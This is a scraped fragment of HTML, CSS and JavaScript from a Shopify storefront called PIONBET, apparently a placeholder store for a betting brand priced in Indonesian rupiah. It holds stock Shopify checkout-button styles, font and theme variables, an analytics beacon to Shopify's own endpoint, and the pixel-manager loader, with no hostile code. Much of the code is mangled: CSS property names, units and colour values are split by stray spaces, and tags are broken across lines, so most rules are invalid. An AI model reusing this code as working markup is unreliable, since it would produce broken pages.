src = "//pionbetlogin.myshopify.com/cdn/shopifycloud/shopify/assets/storefront/bars/preview_bar_injector-a34ad71e81d817c255fe9239b1dfd13e3237cb01f8d44ceae72c50dddb398ae3.js"
crossorigin = "anonymous" > < /script> <
script id = "sections-script"
data - sections = "header"
defer = "defer"
src = "//pionbetlogin.myshopify.com/cdn/shop/t/1/compiled_assets/scripts.js?9" > < /script> <
style id = "shopify-dynamic-checkout" > .shopify - payment - button__button--hidden {
visibility: hidden;
}
.shopify - payment - button__button {
border - radius: 4 px;
border: none;
box - shadow: 0 0 0 0 transparent;
color: white;
cursor: pointer;
display: block;
font - size: 1 em;
font - weight: 500;
line - height: 1;
text - align: center;
width: 100 % ;
min - height: 44 px;
transition: background 0.2 s ease - in - out;
}
.shopify - payment - button__button[disabled] {
opacity: 0.6;
cursor: default;
}
.shopify - payment - button__button--unbranded {
background - color: #1990c6;
padding: 1em 2em;
}
.shopify-payment-button__button--unbranded:hover:not([disabled]) {
background-color: # 136 f99;
}
.shopify - payment - button__more - options {
background: transparent;
border: 0 none;
cursor: pointer;
display: block;
font - size: 1 em;
margin - top: 1 em;
text - align: center;
text - decoration: underline;
width: 100 % ;
}
.shopify - payment - button__more - options.shopify - payment - button__skeleton {
width: 50 % ;
margin - left: 25 % ;
margin - right: 25 % ;
}
.shopify - payment - button__more - options[disabled] {
opacity: 0.6;
cursor: default;
}
.shopify - payment - button__button.shopify - payment - button__button--branded {
display: flex;
flex - direction: column;
position: relative;
z - index: 1;
--wallet - button - border - radius: 0 px;
}
.shopify - payment - button__button.shopify - payment - button__button--branded.shopify - cleanslate {
flex: 1!important;
display: flex!important;
flex - direction: column!important;
}
.shopify - payment - button__button.button.loading {
position: relative;
color: transparent;
}
.shopify - payment - button__button.button.loading > .loading - overlay__spinner {
top: 50 % ;
left: 50 % ;
transform: translate(-50 % , -50 % );
position: absolute;
height: 100 % ;
display: flex;
align - items: center;
}
.shopify - payment - button__button.button.loading > .loading - overlay__spinner.spinner {
width: -moz - fit - content;
width: -webkit - fit - content;
width: fit - content;
}
.button.loading > .loading - overlay__spinner.path {
stroke: white;
}
.shopify - payment - button__button.loading - overlay__spinner {
width: 1.8 rem;
display: inline - block;
}
.shopify - payment - button__button.spinner {
animation: shopify - rotator 1.4 s linear infinite;
}
@keyframes shopify - rotator {
0 % {
transform: rotate(0 deg);
}
100 % {
transform: rotate(270 deg);
}
}
.shopify - payment - button__button.path {
stroke - dasharray: 280;
stroke - dashoffset: 0;
transform - origin: center;
stroke: rgb(18, 18, 18);
animation: shopify - dash 1.4 s ease - in - out infinite;
}
@media screen and(forced - colors: active) {
.shopify - payment - button__button.path {
stroke: CanvasText;
}
}
@keyframes shopify - dash {
0 % {
stroke - dashoffset: 280;
}
50 % {
stroke - dashoffset: 75;
transform: rotate(135 deg);
}
100 % {
stroke - dashoffset: 280;
transform: rotate(450 deg);
}
}
@keyframes walletsLoadingSkeleton {
50 % {
opacity: 1;
}
75 % {
opacity: 0.5;
}
100 % {
opacity: 1;
}
}
.shopify - payment - button__skeleton {
animation: walletsLoadingSkeleton 4 s ease infinite;
animation - delay: -0.168 s;
background - color: rgb(222, 222, 222);
box - sizing: border - box;
text - decoration: none!important;
} <
/style> <
script > window.performance && window.performance.mark && window.performance.mark('shopify.content_for_header.end'); < /script>
<
style data - shopify >
@font - face {
font - family: Assistant;
font - weight: 400;
font - style: normal;
font - display: swap;
src: url("//pionbetlogin.myshopify.com/cdn/fonts/assistant/assistant_n4.bcd3d09dcb631dec5544b8fb7b154ff234a44630.woff2?h1=N2VmNDhiLTA0LmFjY291bnQubXlzaG9waWZ5LmNvbQ&h2=cGlvbmJldGxvZ2luLm15c2hvcGlmeS5jb20&hmac=6c9d5d327367a0b83d17e950a0281b09cdd0c44837c470b30e7a67f83649b46d") format("woff2"),
url("//pionbetlogin.myshopify.com/cdn/fonts/assistant/assistant_n4.a2d012304becc2a26f1ded1acc136fcab85c9afd.woff?h1=N2VmNDhiLTA0LmFjY291bnQubXlzaG9waWZ5LmNvbQ&h2=cGlvbmJldGxvZ2luLm15c2hvcGlmeS5jb20&hmac=82e6a13ef1b6e4f38ec4701f4395819c8b6142c44df7d6267667f933e94831de") format("woff");
}
@font - face {
font - family: Assistant;
font - weight: 700;
font - style: normal;
font - display: swap;
src: url("//pionbetlogin.myshopify.com/cdn/fonts/assistant/assistant_n7.3335c7bdaddf2501ddab87cdbd9be98f3870e10d.woff2?h1=N2VmNDhiLTA0LmFjY291bnQubXlzaG9waWZ5LmNvbQ&h2=cGlvbmJldGxvZ2luLm15c2hvcGlmeS5jb20&hmac=1bbbc99f7b2d3bc38a5eddb314de3c4ec4f93b603849dc67696955f831d173dc") format("woff2"),
url("//pionbetlogin.myshopify.com/cdn/fonts/assistant/assistant_n7.7c85f5c5cc1555de92cc7ef2790ee3cffe5237f5.woff?h1=N2VmNDhiLTA0LmFjY291bnQubXlzaG9waWZ5LmNvbQ&h2=cGlvbmJldGxvZ2luLm15c2hvcGlmeS5jb20&hmac=b4d17ff26403d9b5f16931a16eaa048c2b7bf84b64a47177183eeeb8973a0ae2") format("woff");
}
@font - face {
font - family: Assistant;
font - weight: 400;
font - style: normal;
font - display: swap;
src: url("//pionbetlogin.myshopify.com/cdn/fonts/assistant/assistant_n4.bcd3d09dcb631dec5544b8fb7b154ff234a44630.woff2?h1=N2VmNDhiLTA0LmFjY291bnQubXlzaG9waWZ5LmNvbQ&h2=cGlvbmJldGxvZ2luLm15c2hvcGlmeS5jb20&hmac=6c9d5d327367a0b83d17e950a0281b09cdd0c44837c470b30e7a67f83649b46d") format("woff2"),
url("//pionbetlogin.myshopify.com/cdn/fonts/assistant/assistant_n4.a2d012304becc2a26f1ded1acc136fcab85c9afd.woff?h1=N2VmNDhiLTA0LmFjY291bnQubXlzaG9waWZ5LmNvbQ&h2=cGlvbmJldGxvZ2luLm15c2hvcGlmeS5jb20&hmac=82e6a13ef1b6e4f38ec4701f4395819c8b6142c44df7d6267667f933e94831de") format("woff");
}
: root,
.color - scheme - 1 {
--color - background: 255, 255, 255;
--gradient - background: #fff;
--color - foreground: 18, 18, 18;
--color - background - contrast: 191, 191, 191;
--color - shadow: 18, 18, 18;
--color - button: 18, 18, 18;
--color - button - text: 255, 255, 255;
--color - secondary - button: 255, 255, 255;
--color - secondary - button - text: 18, 18, 18;
--color - link: 18, 18, 18;
--color - badge - foreground: 18, 18, 18;
--color - badge - background: 255, 255, 255;
--color - badge - border: 18, 18, 18;
--payment - terms - background - color: rgb(255 255 255);
}
.color - scheme - 2 {
--color - background: 243, 243, 243;
--gradient - background: #f3f3f3;
--color - foreground: 18, 18, 18;
--color - background - contrast: 179, 179, 179;
--color - shadow: 18, 18, 18;
--color - button: 18, 18, 18;
--color - button - text: 243, 243, 243;
--color - secondary - button: 243, 243, 243;
--color - secondary - button - text: 18, 18, 18;
--color - link: 18, 18, 18;
--color - badge - foreground: 18, 18, 18;
--color - badge - background: 243, 243, 243;
--color - badge - border: 18, 18, 18;
--payment - terms - background - color: rgb(243 243 243);
}
.color - scheme - 3 {
--color - background: 36, 40, 51;
--gradient - background: #242833;
--color-foreground: 255,255,255;
--color-background-contrast: 47,52,66;
--color-shadow: 18,18,18;
--color-button: 255,255,255;
--color-button-text: 0,0,0;
--color-secondary-button: 36,40,51;
--color-secondary-button-text: 255,255,255;
--color-link: 255,255,255;
--color-badge-foreground: 255,255,255;
--color-badge-background: 36,40,51;
--color-badge-border: 255,255,255;
--payment-terms-background-color: rgb(36 40 51);
}
.color-scheme-4 {
--color-background: 18,18,18;
--gradient-background: # 121212;
--color - foreground: 255, 255, 255;
--color - background - contrast: 146, 146, 146;
--color - shadow: 18, 18, 18;
--color - button: 255, 255, 255;
--color - button - text: 18, 18, 18;
--color - secondary - button: 18, 18, 18;
--color - secondary - button - text: 255, 255, 255;
--color - link: 255, 255, 255;
--color - badge - foreground: 255, 255, 255;
--color - badge - background: 18, 18, 18;
--color - badge - border: 255, 255, 255;
--payment - terms - background - color: rgb(18 18 18);
}
.color - scheme - 5 {
--color - background: 51, 79, 180;
--gradient - background: #334fb4;
--color-foreground: 255,255,255;
--color-background-contrast: 23,35,81;
--color-shadow: 18,18,18;
--color-button: 255,255,255;
--color-button-text: 51,79,180;
--color-secondary-button: 51,79,180;
--color-secondary-button-text: 255,255,255;
--color-link: 255,255,255;
--color-badge-foreground: 255,255,255;
--color-badge-background: 51,79,180;
--color-badge-border: 255,255,255;
--payment-terms-background-color: rgb(51 79 180);
}
body, .color-scheme-1, .color-scheme-2, .color-scheme-3, .color-scheme-4, .color-scheme-5 {
color: rgba(var(--color-foreground), 0.75);
background-color: rgb(var(--color-background));
}
:root {
--font-body-family: Assistant, sans-serif;
--font-body-style: normal;
--font-body-weight: 400;
--font-body-weight-bold: 700;
--font-heading-family: Assistant, sans-serif;
--font-heading-style: normal;
--font-heading-weight: 400;
--font-body-scale: 1.0;
--font-heading-scale: 1.0;
--media-padding: px;
--media-border-opacity: 0.05;
--media-border-width: 1px;
--media-radius: 0px;
--media-shadow-opacity: 0.0;
--media-shadow-horizontal-offset: 0px;
--media-shadow-vertical-offset: 4px;
--media-shadow-blur-radius: 5px;
--media-shadow-visible: 0;
--page-width: 120rem;
--page-width-margin: 0rem;
--product-card-image-padding: 0.0rem;
--product-card-corner-radius: 0.0rem;
--product-card-text-alignment: left;
--product-card-border-width: 0.0rem;
--product-card-border-opacity: 0.1;
--product-card-shadow-opacity: 0.0;
--product-card-shadow-visible: 0;
--product-card-shadow-horizontal-offset: 0.0rem;
--product-card-shadow-vertical-offset: 0.4rem;
--product-card-shadow-blur-radius: 0.5rem;
--collection-card-image-padding: 0.0rem;
--collection-card-corner-radius: 0.0rem;
--collection-card-text-alignment: left;
--collection-card-border-width: 0.0rem;
--collection-card-border-opacity: 0.1;
--collection-card-shadow-opacity: 0.0;
--collection-card-shadow-visible: 0;
--collection-card-shadow-horizontal-offset: 0.0rem;
--collection-card-shadow-vertical-offset: 0.4rem;
--collection-card-shadow-blur-radius: 0.5rem;
--blog-card-image-padding: 0.0rem;
--blog-card-corner-radius: 0.0rem;
--blog-card-text-alignment: left;
--blog-card-border-width: 0.0rem;
--blog-card-border-opacity: 0.1;
--blog-card-shadow-opacity: 0.0;
--blog-card-shadow-visible: 0;
--blog-card-shadow-horizontal-offset: 0.0rem;
--blog-card-shadow-vertical-offset: 0.4rem;
--blog-card-shadow-blur-radius: 0.5rem;
--badge-corner-radius: 4.0rem;
--popup-border-width: 1px;
--popup-border-opacity: 0.1;
--popup-corner-radius: 0px;
--popup-shadow-opacity: 0.05;
--popup-shadow-horizontal-offset: 0px;
--popup-shadow-vertical-offset: 4px;
--popup-shadow-blur-radius: 5px;
--drawer-border-width: 1px;
--drawer-border-opacity: 0.1;
--drawer-shadow-opacity: 0.0;
--drawer-shadow-horizontal-offset: 0px;
--drawer-shadow-vertical-offset: 4px;
--drawer-shadow-blur-radius: 5px;
--spacing-sections-desktop: 0px;
--spacing-sections-mobile: 0px;
--grid-desktop-vertical-spacing: 8px;
--grid-desktop-horizontal-spacing: 8px;
--grid-mobile-vertical-spacing: 4px;
--grid-mobile-horizontal-spacing: 4px;
--text-boxes-border-opacity: 0.1;
--text-boxes-border-width: 0px;
--text-boxes-radius: 0px;
--text-boxes-shadow-opacity: 0.0;
--text-boxes-shadow-visible: 0;
--text-boxes-shadow-horizontal-offset: 0px;
--text-boxes-shadow-vertical-offset: 4px;
--text-boxes-shadow-blur-radius: 5px;
--buttons-radius: 0px;
--buttons-radius-outset: 0px;
--buttons-border-width: 1px;
--buttons-border-opacity: 1.0;
--buttons-shadow-opacity: 0.0;
--buttons-shadow-visible: 0;
--buttons-shadow-horizontal-offset: 0px;
--buttons-shadow-vertical-offset: 4px;
--buttons-shadow-blur-radius: 5px;
--buttons-border-offset: 0px;
--inputs-radius: 0px;
--inputs-border-width: 1px;
--inputs-border-opacity: 0.55;
--inputs-shadow-opacity: 0.0;
--inputs-shadow-horizontal-offset: 0px;
--inputs-margin-offset: 0px;
--inputs-shadow-vertical-offset: 4px;
--inputs-shadow-blur-radius: 5px;
--inputs-radius-outset: 0px;
--variant-pills-radius: 40px;
--variant-pills-border-width: 1px;
--variant-pills-border-opacity: 0.55;
--variant-pills-shadow-opacity: 0.0;
--variant-pills-shadow-horizontal-offset: 0px;
--variant-pills-shadow-vertical-offset: 4px;
--variant-pills-shadow-blur-radius: 5px;
}
*,
*::before,
*::after {
box-sizing: inherit;
}
html {
box-sizing: border-box;
font-size: calc(var(--font-body-scale) * 62.5%);
height: 100%;
}
body {
display: grid;
grid-template-rows: auto auto 1fr auto;
grid-template-columns: 100%;
min-height: 100%;
margin: 0;
font-size: 1.5rem;
letter-spacing: 0.06rem;
line-height: calc(1 + 0.8 / var(--font-body-scale));
font-family: var(--font-body-family);
font-style: var(--font-body-style);
font-weight: var(--font-body-weight);
}
@media screen and (min-width: 750px) {
body {
font-size: 1.6rem;
}
}
<
link rel = "preload"
as = "font"
href = "//pionbetlogin.myshopify.com/cdn/fonts/assistant/assistant_n4.bcd3d09dcb631dec5544b8fb7b154ff234a44630.woff2?h1=N2VmNDhiLTA0LmFjY291bnQubXlzaG9waWZ5LmNvbQ&h2=cGlvbmJldGxvZ2luLm15c2hvcGlmeS5jb20&hmac=6c9d5d327367a0b83d17e950a0281b09cdd0c44837c470b30e7a67f83649b46d"
type = "font/woff2"
crossorigin >
<
link rel = "preload"
as = "font"
href = "//pionbetlogin.myshopify.com/cdn/fonts/assistant/assistant_n4.bcd3d09dcb631dec5544b8fb7b154ff234a44630.woff2?h1=N2VmNDhiLTA0LmFjY291bnQubXlzaG9waWZ5LmNvbQ&h2=cGlvbmJldGxvZ2luLm15c2hvcGlmeS5jb20&hmac=6c9d5d327367a0b83d17e950a0281b09cdd0c44837c470b30e7a67f83649b46d"
type = "font/woff2"
crossorigin >
<
link
rel = "stylesheet"
href = "//pionbetlogin.myshopify.com/cdn/shop/t/1/assets/component-predictive-search.css?v=118923337488134913561717872441"
media = "print"
onload = "this.media='all'" >
< script >
if (Shopify.designMode) {
document.documentElement.classList.add('shopify-design-mode');
} <
/script> <
link href = "https://monorail-edge.shopifysvc.com"
rel = "dns-prefetch" >
<
script > (function() {
if ("sendBeacon" in navigator && "performance" in window) {
var session_token = document.cookie.match(/_shopify_s=([^;]*)/);
function handle_abandonment_event(e) {
var entries = performance.getEntries().filter(function(entry) {
return /monorail-edge.shopifysvc.com/.test(entry.name);
});
if (!window.abandonment_tracked && entries.length === 0) {
window.abandonment_tracked = true;
var currentMs = Date.now();
var navigation_start = performance.timing.navigationStart;
var payload = {
shop_id: 88077730081,
url: window.location.href,
navigation_start,
duration: currentMs - navigation_start,
session_token: session_token && session_token.length === 2 ? session_token[1] : "",
page_type: "index"
};
window.navigator.sendBeacon("https://monorail-edge.shopifysvc.com/v1/produce", JSON.stringify({
schema_id: "online_store_buyer_site_abandonment/1.1",
payload: payload,
metadata: {
event_created_at_ms: currentMs,
event_sent_at_ms: currentMs
}
}));
}
}
window.addEventListener('pagehide', handle_abandonment_event);
}
}()); < /script> <
script id = "web-pixels-manager-setup" > (function e(e, n, a, t, r) {
var o = "function" == typeof BigInt && -1 !== BigInt.toString().indexOf("[native code]") ? "modern" : "legacy";
window.Shopify = window.Shopify || {};
var i = window.Shopify;
i.analytics = i.analytics || {};
var s = i.analytics;
s.replayQueue = [], s.publish = function(e, n, a) {
return s.replayQueue.push([e, n, a]), !0
};
try {
self.performance.mark("wpm:start")
} catch (e) {}
var l = [a, "/wpm", "/b", r, o.substring(0, 1), ".js"].join("");
! function(e) {
var n = e.src,
a = e.async,
t = void 0 === a || a,
r = e.onload,
o = e.onerror,
i = document.createElement("script"),
s = document.head,
l = document.body;
i.async = t, i.src = n, r && i.addEventListener("load", r), o && i.addEventListener("error", o), s ? s.appendChild(i) : l ? l.appendChild(i) : console.error("Did not find a head or body element to append the script")
}({
src: l,
async: !0,
onload: function() {
var a = window.webPixelsManager.init(e);
n(a);
var t = window.Shopify.analytics;
t.replayQueue.forEach((function(e) {
var n = e[0],
t = e[1],
r = e[2];
a.publishCustomEvent(n, t, r)
})), t.replayQueue = [], t.publish = a.publishCustomEvent, t.visitor = a.visitor
},
onerror: function() {
var n = e.storefrontBaseUrl.replace(/\/$/, ""),
a = "".concat(n, "/.well-known/shopify/monorail/unstable/produce_batch"),
r = JSON.stringify({
metadata: {
event_sent_at_ms: (new Date).getTime()
},
events: [{
schema_id: "web_pixels_manager_load/2.0",
payload: {
version: t || "latest",
page_url: self.location.href,
status: "failed",
error_msg: "".concat(l, " has failed to load")
},
metadata: {
event_created_at_ms: (new Date).getTime()
}
}]
});
try {
if (self.navigator.sendBeacon.bind(self.navigator)(a, r)) return !0
} catch (e) {}
var o = new XMLHttpRequest;
try {
return o.open("POST", a, !0), o.setRequestHeader("Content-Type", "text/plain"), o.send(r), !0
} catch (e) {
console && console.warn && console.warn("[Web Pixels Manager] Got an unhandled error while logging a load error.")
}
return !1
}
})
})({
shopId: 88077730081,
storefrontBaseUrl: "https://pionbetlogin.myshopify.com",
extensionsBaseUrl: "https://extensions.shopifycdn.com/cdn/shopifycloud/web-pixels-manager",
surface: "storefront-renderer",
enabledBetaFlags: ["5de24938", "3b4293f9"],
webPixelsConfigList: [{
"id": "shopify-app-pixel",
"configuration": "{}",
"eventPayloadVersion": "v1",
"runtimeContext": "STRICT",
"scriptVersion": "090",
"apiClientId": "shopify-pixel",
"type": "APP",
"purposes": ["ANALYTICS", "MARKETING"]
}, {
"id": "shopify-custom-pixel",
"eventPayloadVersion": "v1",
"runtimeContext": "LAX",
"scriptVersion": "090",
"apiClientId": "shopify-pixel",
"type": "CUSTOM",
"purposes": ["ANALYTICS", "MARKETING"]
}],
initData: {
"cart": {
"cost": {
"totalAmount": {
"amount": 10000.0,
"currencyCode": "IDR"
}
},
"id": "Z2NwLXVzLWVhc3QxOjAxSFpXU0E0QzFBVFZCWFE3UzlOUkUxVFdO",
"lines": [{
"cost": {
"totalAmount": {
"amount": 10000.0,
"currencyCode": "IDR"
}
},
"merchandise": {
"id": "49259732959521",
"image": {
"src": "\/\/pionbetlogin.myshopify.com\/cdn\/shop\/files\/6b5e2120702fb96545683cddfff787f0.webp?v=1717873129"
},
"price": {
"amount": 10000.0,
"currencyCode": "IDR"
},
"product": {
"id": "9440168935713",
"title": "PIONBET",
"untranslatedTitle": "PIONBET",
"url": "\/products\/pionbet",
"vendor": "My Store",
"type": ""
},
"sku": "",
"title": "Default Title",
"untranslatedTitle": "Default Title"
},
"quantity": 1
}],
"totalQuantity": 1
},
"checkout": null,
"customer": null,
"productVariants": [],
"shop": {
"name": "PIONBET",
"paymentSettings": {
"currencyCode": "IDR"
},
"myshopifyDomain": "7ef48b-04.myshopify.com",
"countryCode": "ID",
"storefrontUrl": "https:\/\/pionbetlogin.myshopify.com"
}
},
}, function pageEvents(webPixelsManagerAPI) {
webPixelsManagerAPI.publish("page_viewed");
}, "https://pionbetlogin.myshopify.com/cdn", "5b636a1e6fdeaedbf596f5704297971b3433a17e", "07126ca1w84bbcbafp74979a33mc3de2333", ); < /script> <
script src = "//pionbetlogin.myshopify.com/cdn/shop/t/1/assets/details-modal.js?v=25581673532751508451717872441"
defer = "defer" > < /script> <
script src = "//pionbetlogin.myshopify.com/cdn/shop/t/1/assets/cart-notification.js?v=133508293167896966491717872440"
defer = "defer" > < /script> <
script src = "//pionbetlogin.myshopify.com/cdn/shop/t/1/assets/search-form.js?v=133129549252120666541717872441"
defer = "defer" > < /script> <
/html>